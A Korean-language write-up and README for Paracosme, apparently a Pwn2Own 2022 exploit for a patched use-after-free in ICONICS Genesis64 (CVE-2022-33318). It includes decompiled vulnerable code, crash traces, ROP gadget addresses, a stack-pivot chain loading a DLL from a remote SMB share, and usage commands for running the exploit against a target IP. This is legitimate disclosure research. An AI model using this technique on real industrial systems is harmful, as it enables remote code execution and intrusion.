
Paracosme는 Pwn2Own Miami 2022 대회 무대에서 성공적으로 시연된, ICONICS Genesis64를 손상시키는 제로클릭 원격 메모리 손상 익스플로잇입니다.
Paracosme는 ICONICS가 만든 Genesis64 스위트 v10.97.1을 대상으로 원격 코드 실행을 달성하기 위해 작성한 메모리 손상 익스플로잇입니다.
이 익스플로잇은 S4x22 Conference에서 열린 Pwn2Own 2022 Miami 대회 기간 동안 시연되었습니다. 자세한 내용은 Pwn2Own ICS 2022 Miami 참가: ICONICS Genesis64의 제로 클릭 원격 메모리 손상 악용에서 읽을 수 있습니다.
이 이슈는 CVSS 9.8점을 받았으며 CVE-2022-33318 / ZDI-22-1041로 배정되었습니다. 수정되었고 Genesis64 10.97.2에서 수정되었습니다. 또한 ICSA-22-202-04 권고와 ICONICS의 ICONICS Suite 보안 취약점 백서를 읽을 수 있습니다.
익스플로잇 코드는 src/paracosme.py에서, 충돌을 유발하거나 영향을 받는지 확인하는 PoC는 src/paracosme-poc.py에서, 시스템에서 실행되는 페이로드는 에서 찾을 수 있습니다.
영향을 받는지 확인하는 가장 좋은 방법은 GenBroker64.exe에 대해 Page Heap을 켜고, 서비스를 다시 시작하고, 디버거를 GenBroker64.exe에 연결한 다음, 서버에 대해 paracosme-poc.py를 실행하면 아래와 같은 충돌이 발생하는지 확인하는 것입니다:
충돌을 확인하려면 대상 프로세스에 디버거를 연결해야 합니다. 그렇지 않으면 애플리케이션이 이를 무시합니다.
이 익스플로잇은 Windows에서만 테스트되었지만 Linux 플랫폼에서도 작동해야 합니다:
impacket을 설치합니다: pip3 install impacketsc config lanmanserver start=disabled로 컴퓨터에서 실행 중인 SMB 서버를 끄고 재부팅합니다.smbserver.py(impacket 예제의 일부)를 사용하여 smbserver를 시작합니다: python src\smbserver.py -smb2support x binpython src\paracosme.py --target <ip>로 익스플로잇을 시작합니다.
자세한 내용은 Pwn2Own ICS 2022 Miami 참가: ICONICS Genesis64의 제로 클릭 원격 메모리 손상 악용을 참조하십시오.
Paracosme는 Windows 21H2 x64 시스템에서 원격 코드 실행을 달성하기 위해 GenBroker64 프로세스에서 발견된 use-after-free 문제를 악용합니다.
대략적으로, GenBroker64 프로세스는 TCP 포트 38080에서 수신 대기하며 클라이언트와 핸드셰이크를 완료한 후 다양한 패킷을 역직렬화할 수 있습니다. 제가 찾은 문제는 네트워크 소켓에서 VARIANT를 읽는 코드에 있습니다. 기본적으로 variant는 타입과 값입니다. 이 함수는 언뜻 보기에는 잘 작성된 것처럼 보이며 특정 타입만 언팩하려는 노력을 기울입니다. 이는 다음과 같습니다:
bool CheckVariantType(VARTYPE VarType) {
if((VarType & 0x2FFF) != VarType) {
return false;
}
switch(VarType & 0xFFF) {
case VT_EMPTY:
case VT_NULL:
case VT_I2:
case VT_I4:
case VT_R4:
case VT_R8:
case VT_CY:
case VT_DATE:
case VT_BSTR:
case VT_ERROR:
case VT_BOOL:
case VT_VARIANT:
case VT_I1:
case VT_UI1:
case VT_UI2:
case VT_UI4:
case VT_I8:
case VT_UI8:
case VT_INT:
case VT_UINT:
case VT_HRESULT:
case VT_FILETIME:
return true;
break;
default:
return false;
}
}
size_t VariantTypeToSize(VARTYPE VarType) {
switch(VarType) {
case VT_I1: return 1;
case VT_UI2: return 2;
case VT_UI4:
case VT_INT:
case VT_UINT:
case VT_HRESULT:
return 4;
case VT_I8:
case VT_UI8:
case VT_FILETIME:
return 8;
default:
return 0;
}
}
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
TRY {
return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
} CATCH_ALL(e) {
VariantClear(Variant);
}
}
HRESULT Utils::ReadVariant_(tagVARIANT *Variant, Archive_t *Archive, int Level) {
VARTYPE VarType = Archive.ReadUint16();
if((VarType & VT_ARRAY) != 0) {
// Special logic to unpack arrays..
return ..;
}
Size = VariantTypeToSize(VarType);
if (Size) {
Variant->vt = VarType;
return Archive.ReadInto(&Variant->decVal.8, Size);
}
if(!CheckVariantType(VarType)) {
// ...
throw Something();
}
return Archive >> Variant;
}
이 함수는 배열 언패킹과 단순 variant 타입 읽기를 직접 구현하지만, 이 두 가지에 해당하지 않는 무언가를 수신하면 아카이브 인스턴스의 operator>>로 빠져나갑니다. 이 아카이브 인스턴스는 다양한 객체의 직렬화 및 역직렬화를 처리하는 Microsoft Foundation Class 프레임워크에서 제공하는 객체입니다. 이 코드는 실제로 오픈소스이며 C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\atlmfc\src\mfc\olevar.cpp에서 찾을 수 있습니다. 여기 그 코드가 있습니다:
CArchive& AFXAPI operator>>(CArchive& ar, COleVariant& varSrc) {
LPVARIANT pSrc = &varSrc;
// ...
switch(pSrc->vt) {
// ...
case VT_DISPATCH:
case VT_UNKNOWN: {
LPPERSISTSTREAM pPersistStream = NULL;
CArchiveStream stm(&ar);
CLSID clsid;
ar >> clsid.Data1;
ar >> clsid.Data2;
ar >> clsid.Data3;
ar.EnsureRead(&clsid.Data4[0], sizeof clsid.Data4);
SCODE sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
if(sc == E_INVALIDARG) {
sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
}
AfxCheckError(sc);
TRY {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStream, (void**)&pPersistStream);
if(FAILED(sc)) {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStreamInit, (void**)&pPersistStream);
}
AfxCheckError(sc);
AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
if(pPersistStream != NULL) {
pPersistStream->Release();
}
pSrc->punkVal->Release();
THROW_LAST();
}
END_CATCH_ALL
pPersistStream->Release();
}
return ar;
}
}
이 함수는 사소한 타입을 언패킹하는 로직도 있기 때문에 대부분 평범하지만, 제 관심을 끈 것은 VT_DISPATCH / VT_UNKNOWN이었습니다.
이게 뭐지? IPersistStream 또는 IPersistStreamInit을 구현하는 임의의 COM 객체 클래스 ID를 보낼 수 있으며, 객체를 초기화하기 위해 IPersistream::Load를 호출하여 해당 객체를 로드합니다. 이것은 놀랍고 이상한 기능이지만, 기본 Windows 10에 포함된 COM 객체에서 또 다른 버그를 찾아야 하기 때문에 보안 관점에서 그다지 흥미롭게 느껴지지 않았습니다.
이제 아래 코드를 자세히 살펴보겠습니다:
SCODE sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal); <-------------- [[0]]
if(sc == E_INVALIDARG) {
sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
}
AfxCheckError(sc);
TRY {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStream, (void**)&pPersistStream);
if(FAILED(sc)) {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStreamInit, (void**)&pPersistStream);
}
AfxCheckError(sc);
AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
if(pPersistStream != NULL) {
pPersistStream->Release();
}
pSrc->punkVal->Release();
THROW_LAST();
}
CoCreateInstance 호출은 COM 인스턴스 포인터를 pSrc->punkVal에 직접 기록하며, 이는 몇 프레임 앞선 호출자에 저장되는 결과 variant입니다. 그런 다음 IStreamPersist::Load가 예외를 발생시키면 해당 예외가 포착되고 IUnknown 및 IPersistStream 인터페이스 모두에 대해 IUnknown::Release가 호출되어 COM 객체가 해제되면서 pSrc->punkVal이 댕글링 상태로 남습니다. 또 다른 흥미로운 점은 그 후 catch 블록이 예외를 다시 던지고, 이 예외는 아래 코드에 의해 포착된다는 것입니다:
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
TRY {
return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
} CATCH_ALL(e) {
VariantClear(Variant);
}
}
이 시점에서 variant는 이미 해제되었지만 해당 타입과 값은 업데이트/변경되지 않았으므로, 이 VariantClear 호출이 두 번째 IUnknown::Release를 유발하여 아래와 같은 충돌이 발생합니다:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
OLEAUT32!VarWeekdayName+0x22468:
00007ffa`e620c7f8 488b01 mov rax,qword ptr [rcx] ds:00000000`2e5a2fd0=????????????????
0:006> kp
# Child-SP RetAddr Call Site
00 00000000`093bad20 00007ffa`e620cb31 OLEAUT32!VarWeekdayName+0x22468
01 00000000`093bad50 00000001`4000c20a OLEAUT32!VariantClear+0x21
02 00000000`093bad80 00007ffa`ccfa10ea GenBroker64+0xc20a
03 00000000`093badb0 00007ffa`ccfa2ca6 VCRUNTIME140_1+0x10ea
04 00000000`093bade0 00007ffa`ccfa3ae5 VCRUNTIME140_1!_NLG_Return2+0x1b56
05 00000000`093baf10 00007ffa`ccfa2258 VCRUNTIME140_1!_NLG_Return2+0x2995
06 00000000`093baf40 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x1108
07 00000000`093bafe0 00007ffa`e6ce121f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
08 00000000`093bb050 00007ffa`e6c5d9c2 ntdll!_chkstk+0x19f
09 00000000`093bb080 00007ffa`ccfa3d82 ntdll!RtlUnwindEx+0x522
0a 00000000`093bb790 00007ffa`ccfa1635 VCRUNTIME140_1!_NLG_Return2+0x2c32
0b 00000000`093bb880 00007ffa`ccfa19e6 VCRUNTIME140_1!_NLG_Return2+0x4e5
0c 00000000`093bb920 00007ffa`ccfa232b VCRUNTIME140_1!_NLG_Return2+0x896
0d 00000000`093bbaf0 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x11db
0e 00000000`093bbb90 00007ffa`e6ce119f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
0f 00000000`093bbc00 00007ffa`e6caa229 ntdll!_chkstk+0x11f
10 00000000`093bbc30 00007ffa`e6cdfe0e ntdll!RtlRaiseException+0x399
11 00000000`093bc340 00007ffa`e439a839 ntdll!KiUserExceptionDispatcher+0x2e
12 00000000`093bd080 00007ffa`ccfa2753 KERNELBASE!RaiseException+0x69
13 00000000`093bd160 00007ffa`e6ce05e6 VCRUNTIME140_1!_NLG_Return2+0x1603
14 00000000`093bd240 00007ffa`ccc1ab24 ntdll!RtlCaptureContext+0x566
15 00000000`093bf980 00000001`4001c574 mfc140u+0x27ab24
16 00000000`093bfa20 00000001`40023241 GenBroker64+0x1c574
17 00000000`093bfae0 00000001`40025fdc GenBroker64+0x23241
18 00000000`093bfb40 00000001`4008afee GenBroker64+0x25fdc
19 00000000`093bfb80 00000001`4008a499 GenBroker64+0x8afee
1a 00000000`093bfc80 00000001`400858bd GenBroker64+0x8a499
1b 00000000`093bfda0 00000001`400860a9 GenBroker64+0x858bd
1c 00000000`093bfe20 00007ffa`e5187bd4 GenBroker64+0x860a9
1d 00000000`093bff30 00007ffa`e6cace71 KERNEL32!BaseThreadInitThunk+0x14
1e 00000000`093bff60 00000000`00000000 ntdll!RtlUserThreadStart+0x21
우후, 꽤 멋집니다. IPersistStream을 구현하는 COM 객체를 인스턴스화하고 Load가 호출될 때 예외를 발생시키면 위를 유발할 수 있습니다. 트리거 코드는 paracosme-poc.py에서 찾을 수 있으며, 이는 대상 시스템의 GenBroker64.exe 프로세스를 충돌시켜야 합니다. 또한 GenBroker64.exe에서 Page Heap을 활성화하면 즉시 충돌을 볼 수 있습니다.
variant에서 VariantClear가 호출되면 이를 해제하기 위해 Release 메서드에 대한 가상 호출이 디스패치됩니다. 이것은 가상 호출이므로 함수는 vtable을 읽고 고정 오프셋에서 함수 포인터를 가져와 호출합니다. 이 작업이 발생하기 전에 우리는 스레드를 경쟁시켜 ole32!CFileMoniker 인스턴스를 재확보하고 이를 제어된 데이터로 대체합니다(RacerThread_t 참조). 결과적으로 vtable 포인터를 제어하게 되며 RIP를 하이재킹하기까지 한 단계만 남게 됩니다. 아래는 완전히 제어할 수 있는 청크를 @rcx가 가리키는 해당 어셈블리 명령어를 보여줍니다:
0:011> u . l3
OLEAUT32!VariantClear+0x20b:
00007ffb`0df751cb mov rax,qword ptr [rcx]
00007ffb`0df751ce mov rax,qword ptr [rax+10h]
00007ffb`0df751d2 call qword ptr [00007ffb`0df82660]
0:011> u poi(00007ffb`0df82660)
OLEAUT32!SetErrorInfo+0xec0:
00007ffb`0deffd40 jmp rax
재확보된 청크를 완전히 제어할 수 있으므로 @rax를 제어합니다. 제어 흐름을 하이재킹하려면 @rip를 하이재킹할 값에 대한 포인터로 @rax를 설정해야 합니다. 여기서 큰 문제는 ASLR이며 정보 노출이 없습니다.
운 좋게도 GenBroker64.exe 모듈에는 동적 베이스(dynamic base)가 없으므로, 이를 사용하여 체인을 시작할 흥미로운 가젯을 가리키는 위치를 찾을 수 있습니다.
0:012> !dh genbroker64
File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
8664 machine (X64)
7 number of sections
616D3B07 time date stamp Mon Oct 18 02:14:47 2021
0 file pointer to symbol table
0 number of symbols
F0 size of optional header
22 characteristics
Executable
App can handle >2gb addresses
OPTIONAL HEADER VALUES
High entropy VA supported
NX compatible
Terminal server aware
사용된 첫 번째 가젯은 (어떤 간접 참조도 없이) @rip를 완전히 제어할 수 있게 해주는 가젯입니다:
0:011> u poi(1400aed18)
00007ffb2137ffe0 sub rsp,38h
00007ffb2137ffe4 test rcx,rcx
00007ffb2137ffe7 je 00007ffb`21380015
00007ffb2137ffe9 cmp qword ptr [rcx+10h],0
00007ffb2137ffee jne 00007ffb`2137fff4
...
00007ffb2137fff4 and qword ptr [rsp+40h],0
00007ffb2137fffa mov rax,qword ptr [rcx+10h]
00007ffb2137fffe call qword ptr [mfc140u!__guard_dispatch_icall_fptr (00007ffb`21415b60)]
다음 가젯의 주소를 재확보한 청크(@rcx가 가리키는)의 오프셋 +0x10에 배치할 수 있어서 좋습니다.
두 번째로 사용하는 가젯은 스택을 완전히 제어할 수 있는 재확보된 힙 청크로 피벗합니다:
0:008> u 14005bd25
000000014005bd25 mov esp,ecx
000000014005bd27 cmp byte ptr [1400fe788],0
000000014005bd2e je 000000014005bebc
...
000000014005bebc lea r11,[rsp+60h]
000000014005bec1 mov rbx,qword ptr [r11+30h]
000000014005bec5 mov rbp,qword ptr [r11+38h]
000000014005bec9 mov rsi,qword ptr [r11+40h]
000000014005becd mov rsp,r11
000000014005bed0 pop r15
000000014005bed2 pop r14
000000014005bed4 pop r13
000000014005bed6 pop r12
000000014005bed8 pop rdi
000000014005bed9 ret
재미있는 점은 힙 청크의 주소가 항상(?) 32비트 정수에 들어맞는 위치에 있는 것처럼 보이며, 그래서 mov esp, ecx가 잘 작동한다는 것입니다.
이 시점에서 ROP는 있지만 공간이 많지 않아 꽤 답답했습니다. 여러 조건을 맞추기 위해 많은 시간을 보냈고, 결국 페이로드를 담은 DLL 파일을 가리키는 원격 SMB 경로로 LoadLibraryW를 호출하는 일련의 가젯을 만들어 냈습니다. 체인의 세부 사항에 관심이 있다면 paracosme.py@241를 확인하세요.